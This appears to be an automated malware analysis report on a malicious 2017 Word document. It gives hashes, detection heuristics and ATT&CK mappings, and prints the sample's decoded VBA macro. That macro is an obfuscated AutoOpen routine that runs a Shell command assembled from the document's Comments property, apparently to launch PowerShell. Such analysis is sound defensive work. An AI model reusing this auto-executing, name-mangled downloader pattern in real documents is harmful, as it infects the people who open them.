Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9cf17cb12e738e4…

MALICIOUS

Office (OLE)

55.0 KB Created: 2017-10-02 13:08:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: cdb66ac810880ff5b3840e931d5d3bfb SHA-1: 642e24b57ba68adc4a41bc4e0cb702ba342bbfa5 SHA-256: e9cf17cb12e738e489164e93c1f3015cb245d12839bedb1a073046f519aad2be
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of a PowerShell command by concatenating strings, which is indicative of a downloader or initial execution stage. The ClamAV detection 'Doc.Macro.DollarShell-6346616-0' further supports its malicious nature. The script attempts to execute a command using VBA's Shell function, likely to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    GskFvmxM = "tWfvyLS" + "hNHXeytdXvZ" + "tupXbwWye" + "ymHAkGh" + ZkVtrLB = "fFtxytvuv" + "cHmGUgU" + "fUNEnEPUZP" + "MtEuUgCME" + "ffhVDvDaDke"
VBA.Shell$ "" + hdeYnyGusPK + zeUMYYcEU + vNKxRNACuht + aDCRzMS + xgPfABu + YrxMNyZ + HSNuBnXAvTf + wvpacKZcsXD + kABcgrEZTwd + yHtwPhyYWvm + BWCUanGd + UXrwRPLur + VmkeXtc + gfufTEKgyc + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + hdeYnyGusPK + zeUMYYcEU + vNKxRNACuht + aDCRzMS + xgPfABu + YrxMNyZ + HSNuBnXAvTf + wvpacKZcsXD + kABcgrEZTwd + yHtwPhyYWvm + BWCUanGd + UXrwRPLur + VmkeXtc + gfufTEKgyc + uNNdcYrf, 0
rddGbbcrKV = "YhNFmvkDYf" + "reYaEZNBtMm" + "NBLBZrLEn" + "YMuVzmGtazZ" + FnavBRscx = "WdNmKCk" + "CSDApAc" + "RstHmgHN" + "VeHFVfShMG" + YARrNTdfxu = "AGXYscGyC" + "avPfPfwMhu" + "VAKRbbk" + "CYVvWApeSx" + "FRMcXBAL"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub autoopen()
DDNPLacYWpL
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2225 bytes
SHA-256: 4aad5c6bf69b5781bafb24a79b8ad6aa107655bc8ca86afa780a5f778c5f6c8d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
101 of 136 identifiers look randomly generated (e.g. 'NrnHChnmPRX') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
DDNPLacYWpL
End Sub
Function DDNPLacYWpL()
TYAFDftsvN = "UcwzNNL" + "ACamskz" + "RtHBpwEHfnw" + "vsatZDx" + WRnwTCy = "sESRDcK" + "newTRwhN" + "LKdEvNWexrT" + "HhHGgKSfcY" + SThdhrf = "rCsUhVauybR" + "tZCCnbmdVu" + "bRUKEWC" + "ZtWXpvDgtw" + "RbzzPGu"
HsErKcD = "pGzhzmLaWc" + "DXHbKgXzRa" + "RDGwPSGZ" + "PHTSGZZh" + txdFPVk = "FVVycbA" + "gTSXbbGfchc" + "PgTMgcA" + "pVEuuSMfcy" + "CwrMUAuPzN"
zSTGnkR = "YNhCenpdXKy" + "pAstkThGF" + "uftVvYVF" + "SXRXWeYDW" + AhbEKEZNYvS = "GZNmNpzXetK" + "pxYAnurgFrP" + "vtXWPBASFNA" + "cHGPaGTeZb" + "AAzKzxpcESR"
GskFvmxM = "tWfvyLS" + "hNHXeytdXvZ" + "tupXbwWye" + "ymHAkGh" + ZkVtrLB = "fFtxytvuv" + "cHmGUgU" + "fUNEnEPUZP" + "MtEuUgCME" + "ffhVDvDaDke"
VBA.Shell$ "" + hdeYnyGusPK + zeUMYYcEU + vNKxRNACuht + aDCRzMS + xgPfABu + YrxMNyZ + HSNuBnXAvTf + wvpacKZcsXD + kABcgrEZTwd + yHtwPhyYWvm + BWCUanGd + UXrwRPLur + VmkeXtc + gfufTEKgyc + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + hdeYnyGusPK + zeUMYYcEU + vNKxRNACuht + aDCRzMS + xgPfABu + YrxMNyZ + HSNuBnXAvTf + wvpacKZcsXD + kABcgrEZTwd + yHtwPhyYWvm + BWCUanGd + UXrwRPLur + VmkeXtc + gfufTEKgyc + uNNdcYrf, 0
rddGbbcrKV = "YhNFmvkDYf" + "reYaEZNBtMm" + "NBLBZrLEn" + "YMuVzmGtazZ" + FnavBRscx = "WdNmKCk" + "CSDApAc" + "RstHmgHN" + "VeHFVfShMG" + YARrNTdfxu = "AGXYscGyC" + "avPfPfwMhu" + "VAKRbbk" + "CYVvWApeSx" + "FRMcXBAL"
AzcYVuwB = "NDfuDEZ" + "aefXkxu" + "thNABHAF" + "FXMvbkPXF" + vzNzpBB = "HccrLws" + "bnfLnEzEwhK" + "eAcbANXYYy" + "puAUpvrTurB" + "DrvkdzYXZ"
sHznrnyBTtm = "GgkbUcHbf" + "NTEApCHE" + "YYrZgVTNCh" + "XYHuVvkkx" + sRTzYph = "CHUyGgdTZ" + "UBuGsFeZU" + "NmyFpxSNBg" + "unwkEhgBCAU" + vApLLtYpy = "wnWVzzUu" + "snxmeCXe" + "heSzAKtCM" + "NrnHChnmPRX" + "ESncTDLWstg"
fRBvvNaDFxD = "RYeRDptsEPE" + "pArmgck" + "mmXNfyC" + "heFHkAZunEX" + ZHmYHCEhyN = "DcRdfnuXrH" + "mCPYbVSYWL" + "drGzAZS" + "FywDmgCgMHe" + "BpERZYAVY"
End Function

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